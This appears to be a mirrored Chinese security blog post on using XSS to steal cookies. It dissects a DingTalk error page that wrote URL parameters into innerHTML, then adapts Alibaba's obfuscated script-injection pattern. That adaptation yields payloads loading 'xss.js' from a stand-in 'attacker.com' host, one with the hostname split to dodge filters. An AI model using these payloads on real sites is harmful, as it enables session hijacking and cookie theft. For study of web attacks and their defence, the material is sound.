zoukankan      html  css  js  c++  java
  • 通过钉钉网页上的js学习xss打cookie

      做完了一个项目,然后没啥事做,无意看到了一个钉钉的外部链接:

      题外话1:

        查看源码,复制其中的代码:

    try {
            var search = location.search;
            if (search && search.length > 1 && search.charAt(0) === '?') {
                search = search.substr(1);
                var pairs = search.split('&');
                var kv = {};
                for (var i in pairs) {
                    var parts = pairs[i].split('=');
                    if (parts && parts.length > 1) {
                        kv[parts[0]] = parts[1];
                    }
                }
            }
            var errcode = kv['errcode'];
            var errmsg = kv['errmsg'];
            if (errcode) {
                var divCode = document.getElementById('code');
                if (divCode) {
                    divCode.innerHTML += ('errcode: ' + errcode);
                }
            }
            if (errmsg) {
                var divMsg = document.getElementById('msg');
                if (divMsg) {
                    divMsg.innerHTML += ('errmsg: ' + errmsg);
                }
            }
        }
        catch (e) {console.log(e);}

      关键部分是:

        

      写入errcode和errmsg到divCode和divMsg中。

      其中errcode和errmsg都是我们可控的。

      打开console简单测试下:

        不懂没关系直接做:

          

       

    说明我们外部可控,导致这个原因是因为遍历的是location.search

      本地搓个demo:    

    只要errcode和errmsg为xss代码,即可触发xss攻击。很可惜这里。。最后做了处理。

        正题:加载第三方js代码:

        刷新钉钉页面:

        

     发现加载了一些js链接依赖:

        查看源码,看看他怎么调用的:

        

    <body><script>
    with(document)with(body)with(insertBefore(createElement("script"),firstChild))setAttribute("exparams","category=&userid=&aplus&yunid=&asid=AQAAAACQE5FgnOSuMgAAAABIYPwz9qqvRg==",id="tb-beacon-aplus",src="//g.alicdn.com/alilog/mlog/aplus_"+(navigator.userAgent.match(/iPhone|iPad|iPod|Android|AliApp|Yunos|cyclone/i)?"wap":"v2")+".js")
    </script>
    <script>
        with(document)with(body)with(insertBefore(createElement("script"),firstChild))setAttribute("exparams","category=&userid=&aplus&yunid=&asid=AQAAAABZTjBWUtd7PwAAAADFkiVZ/vYnWw==",id="tb-beacon-aplus",src=(location>"https"?"//s":"//a")+".tbcdn.cn/s/aplus_v2.js")
    </script>
    <script>
        with(document)with(body)with(insertBefore(createElement("script"),firstChild))setAttribute("exparams","category=&userid=&aplus&yunid=&asid=AQAAAACwfC9W2oJjYAAAAABOnkqCwpd6EA==",id="tb-beacon-aplus",src=(location>"https"?"//s":"//a")+".tbcdn.cn/s/aplus_v2.js")
    </script>

      相当有意思,不同于以前的,以前我们xss打cookie/外部加载js都是是这样的:

        

    <script src="http://attacker.com/xss.js"></script>

      通过阿里加载js的方式,我们可以改造我们的加载方式如下:

          

    <script type="text/javascript">
        with(document)with(body)with(insertBefore(createElement("script"),firstChild))setAttribute(src=("http://attac")+"ker.com/xs"+"s.js")
    </script>

    我们访问网页:

        

    直接加载了,查看我们是否接收到:

        

      成功接收成功。

      这个cookie窃取已经不是啥骚姿势了,只是这次通过阿里正常加载js地址,学习包装型的cookie获取。

          

  • 相关阅读:
    .htaccess的基本用法与介绍
    SEO之如何做301转向
    HTML的display属性将行内元素、块状元素、行内块状元素互相转换以及三者的区别
    web前端利用HTML代码显示符号
    Day 54 Django_模型层_用户认证&中间件
    Day 53 Django_模型层_forms组件$cookie与session
    Day 52 Django_模型层_Ajax&分页器
    Day 51 Django_模型层_多表操作
    Day 50 Django_模型层_ORM&单表操作
    Day 49 Django_模板层
  • 原文地址:https://www.cnblogs.com/piaomiaohongchen/p/14729939.html
Copyright © 2011-2022 走看看